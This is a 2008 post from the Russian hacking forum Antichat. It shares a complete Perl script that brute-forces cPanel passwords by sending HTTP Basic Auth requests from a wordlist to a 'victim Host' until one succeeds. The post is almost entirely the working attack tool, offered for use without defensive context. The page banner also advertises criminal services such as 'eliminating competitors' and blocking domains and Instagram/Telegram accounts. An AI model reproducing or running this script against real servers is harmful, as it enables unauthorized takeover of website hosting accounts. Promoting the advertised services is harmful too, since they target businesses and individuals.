Форум АНТИЧАТ - Cpanel Password Brute Forcer [perl]

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Cpanel Password Brute Forcer [perl]

Опции темы

Поиск в этой теме

Опции просмотра

Cpanel Password Brute Forcer [perl]

31.10.2008, 21:44

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Cpanel Password Brute Forcer [perl]

Cpanel Password Brute Forcer

PHP код:


		
			
#!/usr/bin/perl

# Cpanel Password Brute Forcer

# ----------------------------

#    (c)oded By Hessam-x

# Perl Version ( low speed )

# Oerginal Advisory :

# http://www.simorgh-ev.com/advisory/2...uteforce-vule/

use IO::Socket;

use LWP::Simple;

use MIME::Base64;



$host     = $ARGV[0];

$user     = $ARGV[1];

$port     = $ARGV[2];

$list     = $ARGV[3];

$file     = $ARGV[4];

$url = "http://".$host.":".$port;

if(@ARGV < 3){

print q(

###############################################################

#               Cpanel Password Brute Force Tool              #

###############################################################

#     usage : cpanel.pl [HOST] [User] [PORT][list]
[File]    #

#-------------------------------------------------------------#

#    [Host] : victim Host             (simorgh-ev.com)        #

#    [User] : User Name               (demo)                  #

#    [PORT] : Port of Cpanel          (2082)                  #

#[list]
: File Of password list   (list.txt)              #

#    [File] : file for save password  (password.txt)          #

#                                                             #

###############################################################

#            (c)oded By Hessam-x / simorgh-ev.com             #

###############################################################

);exit;}



headx();



$numstart  = "-1";



sub headx() {

print q(

###############################################################

#              Cpanel Password Brute Force Tool               #

#            (c)oded By Hessam-x / simorgh-ev.com             #

###############################################################

);

open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";

@PASSWORDS = <PASSFILE>;

close PASSFILE;

foreach my $P (@PASSWORDS) {

chomp $P;

$passwd = $P;

print "\n [~] Try Password : $passwd \n";

&brut;

};

}

sub brut() {

$authx = encode_base64($user.":".$passwd);

print $authx;

my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";

print $sock "GET / HTTP/1.1\n";

print $sock "Authorization: Basic $authx\n";

print $sock "Connection: Close\n\n";

read  $sock, $answer, 128;

close($sock);



if ($answer =~ /Moved/) {

print "\n [~] PASSWORD FOUND : $passwd \n";

exit();

}

}

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Cpanel Password Brute Forcer	PandoraBox	PHP, PERL, MySQL, JavaScript	1	10.12.2007 14:58

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход